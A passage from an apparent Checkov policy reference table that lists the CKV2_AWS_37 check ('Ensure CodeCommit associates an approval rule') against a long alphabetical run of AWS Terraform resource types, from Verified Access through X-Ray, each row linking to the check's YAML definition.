CKV2_AWS_37 | resource | aws_verifiedaccess_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2315 | CKV2_AWS_37 | resource | aws_verifiedaccess_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2316 | CKV2_AWS_37 | resource | aws_verifiedaccess_instance_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2317 | CKV2_AWS_37 | resource | aws_verifiedaccess_instance_trust_provider_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2318 | CKV2_AWS_37 | resource | aws_verifiedaccess_trust_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2319 | CKV2_AWS_37 | resource | aws_verifiedpermissions_identity_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2320 | CKV2_AWS_37 | resource | aws_verifiedpermissions_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2321 | CKV2_AWS_37 | resource | aws_verifiedpermissions_policy_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2322 | CKV2_AWS_37 | resource | aws_verifiedpermissions_policy_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2323 | CKV2_AWS_37 | resource | aws_verifiedpermissions_schema | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2324 | CKV2_AWS_37 | resource | aws_volume_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2325 | CKV2_AWS_37 | resource | aws_vpc | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2326 | CKV2_AWS_37 | resource | aws_vpc_block_public_access_exclusion | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2327 | CKV2_AWS_37 | resource | aws_vpc_block_public_access_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2328 | CKV2_AWS_37 | resource | aws_vpc_dhcp_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2329 | CKV2_AWS_37 | resource | aws_vpc_dhcp_options_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2330 | CKV2_AWS_37 | resource | aws_vpc_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2331 | CKV2_AWS_37 | resource | aws_vpc_endpoint_connection_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2332 | CKV2_AWS_37 | resource | aws_vpc_endpoint_connection_notification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2333 | CKV2_AWS_37 | resource | aws_vpc_endpoint_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2334 | CKV2_AWS_37 | resource | aws_vpc_endpoint_private_dns | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2335 | CKV2_AWS_37 | resource | aws_vpc_endpoint_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2336 | CKV2_AWS_37 | resource | aws_vpc_endpoint_security_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2337 | CKV2_AWS_37 | resource | aws_vpc_endpoint_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2338 | CKV2_AWS_37 | resource | aws_vpc_endpoint_service_allowed_principal | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2339 | CKV2_AWS_37 | resource | aws_vpc_endpoint_service_private_dns_verification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2340 | CKV2_AWS_37 | resource | aws_vpc_endpoint_subnet_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2341 | CKV2_AWS_37 | resource | aws_vpc_ipam | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2342 | CKV2_AWS_37 | resource | aws_vpc_ipam_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2343 | CKV2_AWS_37 | resource | aws_vpc_ipam_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2344 | CKV2_AWS_37 | resource | aws_vpc_ipam_pool_cidr | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2345 | CKV2_AWS_37 | resource | aws_vpc_ipam_pool_cidr_allocation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2346 | CKV2_AWS_37 | resource | aws_vpc_ipam_preview_next_cidr | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2347 | CKV2_AWS_37 | resource | aws_vpc_ipam_resource_discovery | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2348 | CKV2_AWS_37 | resource | aws_vpc_ipam_resource_discovery_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2349 | CKV2_AWS_37 | resource | aws_vpc_ipam_scope | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2350 | CKV2_AWS_37 | resource | aws_vpc_ipv4_cidr_block_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2351 | CKV2_AWS_37 | resource | aws_vpc_ipv6_cidr_block_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2352 | CKV2_AWS_37 | resource | aws_vpc_network_performance_metric_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2353 | CKV2_AWS_37 | resource | aws_vpc_peering_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2354 | CKV2_AWS_37 | resource | aws_vpc_peering_connection_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2355 | CKV2_AWS_37 | resource | aws_vpc_peering_connection_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2356 | CKV2_AWS_37 | resource | aws_vpc_security_group_egress_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2357 | CKV2_AWS_37 | resource | aws_vpc_security_group_ingress_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2358 | CKV2_AWS_37 | resource | aws_vpc_security_group_vpc_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2359 | CKV2_AWS_37 | resource | aws_vpclattice_access_log_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2360 | CKV2_AWS_37 | resource | aws_vpclattice_auth_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2361 | CKV2_AWS_37 | resource | aws_vpclattice_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2362 | CKV2_AWS_37 | resource | aws_vpclattice_listener_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2363 | CKV2_AWS_37 | resource | aws_vpclattice_resource_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2364 | CKV2_AWS_37 | resource | aws_vpclattice_resource_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2365 | CKV2_AWS_37 | resource | aws_vpclattice_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2366 | CKV2_AWS_37 | resource | aws_vpclattice_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2367 | CKV2_AWS_37 | resource | aws_vpclattice_service_network | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2368 | CKV2_AWS_37 | resource | aws_vpclattice_service_network_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2369 | CKV2_AWS_37 | resource | aws_vpclattice_service_network_service_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2370 | CKV2_AWS_37 | resource | aws_vpclattice_service_network_vpc_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2371 | CKV2_AWS_37 | resource | aws_vpclattice_target_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2372 | CKV2_AWS_37 | resource | aws_vpclattice_target_group_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2373 | CKV2_AWS_37 | resource | aws_vpn_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2374 | CKV2_AWS_37 | resource | aws_vpn_connection_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2375 | CKV2_AWS_37 | resource | aws_vpn_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2376 | CKV2_AWS_37 | resource | aws_vpn_gateway_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2377 | CKV2_AWS_37 | resource | aws_vpn_gateway_route_propagation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2378 | CKV2_AWS_37 | resource | aws_waf_byte_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2379 | CKV2_AWS_37 | resource | aws_waf_geo_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2380 | CKV2_AWS_37 | resource | aws_waf_ipset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2381 | CKV2_AWS_37 | resource | aws_waf_rate_based_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2382 | CKV2_AWS_37 | resource | aws_waf_regex_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2383 | CKV2_AWS_37 | resource | aws_waf_regex_pattern_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2384 | CKV2_AWS_37 | resource | aws_waf_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2385 | CKV2_AWS_37 | resource | aws_waf_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2386 | CKV2_AWS_37 | resource | aws_waf_size_constraint_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2387 | CKV2_AWS_37 | resource | aws_waf_sql_injection_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2388 | CKV2_AWS_37 | resource | aws_waf_web_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2389 | CKV2_AWS_37 | resource | aws_waf_xss_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2390 | CKV2_AWS_37 | resource | aws_wafregional_byte_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2391 | CKV2_AWS_37 | resource | aws_wafregional_geo_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2392 | CKV2_AWS_37 | resource | aws_wafregional_ipset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2393 | CKV2_AWS_37 | resource | aws_wafregional_rate_based_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2394 | CKV2_AWS_37 | resource | aws_wafregional_regex_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2395 | CKV2_AWS_37 | resource | aws_wafregional_regex_pattern_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2396 | CKV2_AWS_37 | resource | aws_wafregional_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2397 | CKV2_AWS_37 | resource | aws_wafregional_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2398 | CKV2_AWS_37 | resource | aws_wafregional_size_constraint_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2399 | CKV2_AWS_37 | resource | aws_wafregional_sql_injection_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2400 | CKV2_AWS_37 | resource | aws_wafregional_web_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2401 | CKV2_AWS_37 | resource | aws_wafregional_web_acl_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2402 | CKV2_AWS_37 | resource | aws_wafregional_xss_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2403 | CKV2_AWS_37 | resource | aws_wafv2_ip_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2404 | CKV2_AWS_37 | resource | aws_wafv2_regex_pattern_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2405 | CKV2_AWS_37 | resource | aws_wafv2_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2406 | CKV2_AWS_37 | resource | aws_wafv2_web_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2407 | CKV2_AWS_37 | resource | aws_wafv2_web_acl_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2408 | CKV2_AWS_37 | resource | aws_wafv2_web_acl_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2409 | CKV2_AWS_37 | resource | aws_worklink_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2410 | CKV2_AWS_37 | resource | aws_worklink_website_certificate_authority_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2411 | CKV2_AWS_37 | resource | aws_workspaces_connection_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2412 | CKV2_AWS_37 | resource | aws_workspaces_directory | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2413 | CKV2_AWS_37 | resource | aws_workspaces_ip_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2414 | CKV2_AWS_37 | resource | aws_workspaces_workspace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2415 | CKV2_AWS_37 | resource | aws_xray_encryption_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2416 | CKV2_AWS_37 | resource | aws_xray_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2417 | CKV2_AWS_37 | resource | aws_xray_sampling_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2418 | 